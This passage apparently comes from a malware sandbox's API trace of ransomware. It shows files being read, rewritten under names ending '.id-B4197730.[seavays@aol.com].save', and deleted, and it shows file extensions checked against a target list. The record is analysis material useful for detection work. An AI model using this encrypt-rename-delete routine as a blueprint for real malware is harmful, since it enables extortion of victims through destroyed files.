returned 18 [0051.193] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.193] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17752) returned 1 [0051.193] CloseHandle (hObject=0x2ec) returned 1 [0051.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0051.193] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.194] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.194] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.194] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.198] GetLastError () returned 0x0 [0051.198] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4558, lpOverlapped=0x0) returned 1 [0051.202] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4560, lpOverlapped=0x0) returned 1 [0051.204] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.204] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.204] SetEndOfFile (hFile=0x2f0) returned 1 [0051.204] CloseHandle (hObject=0x2f0) returned 1 [0051.205] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.205] SetEndOfFile (hFile=0x2ec) returned 1 [0051.206] CloseHandle (hObject=0x2ec) returned 1 [0051.206] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.206] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0051.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.207] lstrlenW (lpString=".doc") returned 4 [0051.207] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.207] lstrlenW (lpString=".docx") returned 5 [0051.207] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.207] lstrlenW (lpString=".pdf") returned 4 [0051.207] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.207] lstrlenW (lpString=".xls") returned 4 [0051.207] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.207] lstrlenW (lpString=".xlsx") returned 5 [0051.207] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.207] lstrlenW (lpString=".ppt") returned 4 [0051.207] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.207] lstrlenW (lpString=".zip") returned 4 [0051.207] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.207] lstrlenW (lpString=".rar") returned 4 [0051.207] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.207] lstrlenW (lpString=".bz2") returned 4 [0051.207] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.207] lstrlenW (lpString=".7z") returned 3 [0051.207] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.207] lstrlenW (lpString=".dbf") returned 4 [0051.207] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.207] lstrlenW (lpString=".1cd") returned 4 [0051.207] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString=".jpg") returned 4 [0051.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString=".doc") returned 4 [0051.208] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString=".docx") returned 5 [0051.208] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.208] lstrlenW (lpString=".pdf") returned 4 [0051.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString=".xls") returned 4 [0051.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString=".xlsx") returned 5 [0051.208] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.208] lstrlenW (lpString=".ppt") returned 4 [0051.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString=".zip") returned 4 [0051.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString=".rar") returned 4 [0051.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.208] lstrlenW (lpString=".bz2") returned 4 [0051.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.208] lstrlenW (lpString=".7z") returned 3 [0051.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString=".dbf") returned 4 [0051.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString=".1cd") returned 4 [0051.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0051.208] lstrlenW (lpString=".jpg") returned 4 [0051.209] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.209] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.209] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.209] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17752) returned 1 [0051.209] CloseHandle (hObject=0x2ec) returned 1 [0051.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0051.209] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.209] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.209] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.218] GetLastError () returned 0x0 [0051.218] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4558, lpOverlapped=0x0) returned 1 [0051.229] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4560, lpOverlapped=0x0) returned 1 [0051.230] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.230] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.230] SetEndOfFile (hFile=0x2f0) returned 1 [0051.230] CloseHandle (hObject=0x2f0) returned 1 [0051.231] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.231] SetEndOfFile (hFile=0x2ec) returned 1 [0051.232] CloseHandle (hObject=0x2ec) returned 1 [0051.232] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.232] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0051.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.232] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.232] lstrlenW (lpString=".doc") returned 4 [0051.232] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.232] lstrlenW (lpString=".docx") returned 5 [0051.232] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.232] lstrlenW (lpString=".pdf") returned 4 [0051.232] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.232] lstrlenW (lpString=".xls") returned 4 [0051.232] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.232] lstrlenW (lpString=".xlsx") returned 5 [0051.232] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.232] lstrlenW (lpString=".ppt") returned 4 [0051.233] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.233] lstrlenW (lpString=".zip") returned 4 [0051.233] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString=".rar") returned 4 [0051.233] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString=".bz2") returned 4 [0051.233] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.233] lstrlenW (lpString=".7z") returned 3 [0051.233] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.233] lstrlenW (lpString=".dbf") returned 4 [0051.233] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.233] lstrlenW (lpString=".1cd") returned 4 [0051.233] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.233] lstrlenW (lpString=".jpg") returned 4 [0051.233] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.233] lstrlenW (lpString=".doc") returned 4 [0051.233] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString=".docx") returned 5 [0051.233] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.233] lstrlenW (lpString=".pdf") returned 4 [0051.233] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString=".xls") returned 4 [0051.233] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString=".xlsx") returned 5 [0051.233] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.233] lstrlenW (lpString=".ppt") returned 4 [0051.233] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.233] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.234] lstrlenW (lpString=".zip") returned 4 [0051.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.234] lstrlenW (lpString=".rar") returned 4 [0051.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.234] lstrlenW (lpString=".bz2") returned 4 [0051.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.234] lstrlenW (lpString=".7z") returned 3 [0051.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.234] lstrlenW (lpString=".dbf") returned 4 [0051.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.234] lstrlenW (lpString=".1cd") returned 4 [0051.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.234] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0051.234] lstrlenW (lpString=".jpg") returned 4 [0051.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.234] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.234] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.234] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.234] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=14168) returned 1 [0051.234] CloseHandle (hObject=0x2ec) returned 1 [0051.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0051.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.235] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.235] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0051.239] GetLastError () returned 0x0 [0051.239] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x3758, lpOverlapped=0x0) returned 1 [0052.150] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x3760, lpOverlapped=0x0) returned 1 [0052.159] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.159] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0052.159] SetEndOfFile (hFile=0x300) returned 1 [0052.159] CloseHandle (hObject=0x300) returned 1 [0052.160] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.160] SetEndOfFile (hFile=0x2ec) returned 1 [0052.161] CloseHandle (hObject=0x2ec) returned 1 [0052.161] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.161] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0052.161] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString=".doc") returned 4 [0052.162] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString=".docx") returned 5 [0052.162] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.162] lstrlenW (lpString=".pdf") returned 4 [0052.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString=".xls") returned 4 [0052.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString=".xlsx") returned 5 [0052.162] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.162] lstrlenW (lpString=".ppt") returned 4 [0052.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString=".zip") returned 4 [0052.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString=".rar") returned 4 [0052.162] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString=".bz2") returned 4 [0052.162] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.162] lstrlenW (lpString=".7z") returned 3 [0052.162] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString=".dbf") returned 4 [0052.162] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString=".1cd") returned 4 [0052.162] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString=".jpg") returned 4 [0052.162] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.163] lstrlenW (lpString=".doc") returned 4 [0052.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.163] lstrlenW (lpString=".docx") returned 5 [0052.163] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0052.163] lstrlenW (lpString=".pdf") returned 4 [0052.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.163] lstrlenW (lpString=".xls") returned 4 [0052.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.163] lstrlenW (lpString=".xlsx") returned 5 [0052.163] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0052.163] lstrlenW (lpString=".ppt") returned 4 [0052.163] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.163] lstrlenW (lpString=".zip") returned 4 [0052.163] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.163] lstrlenW (lpString=".rar") returned 4 [0052.163] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.163] lstrlenW (lpString=".bz2") returned 4 [0052.163] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.163] lstrlenW (lpString=".7z") returned 3 [0052.163] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.163] lstrlenW (lpString=".dbf") returned 4 [0052.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.163] lstrlenW (lpString=".1cd") returned 4 [0052.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0052.163] lstrlenW (lpString=".jpg") returned 4 [0052.163] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.164] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.164] lstrlenW (lpString="Rotate6.ico") returned 11 [0052.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.164] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0052.164] CloseHandle (hObject=0x2ec) returned 1 [0052.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0052.164] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0052.164] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.164] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0052.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0052.164] GetLastError () returned 0x0 [0052.164] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.166] WriteFile (in: hFile=0x300, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0052.167] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0052.167] WriteFile (in: 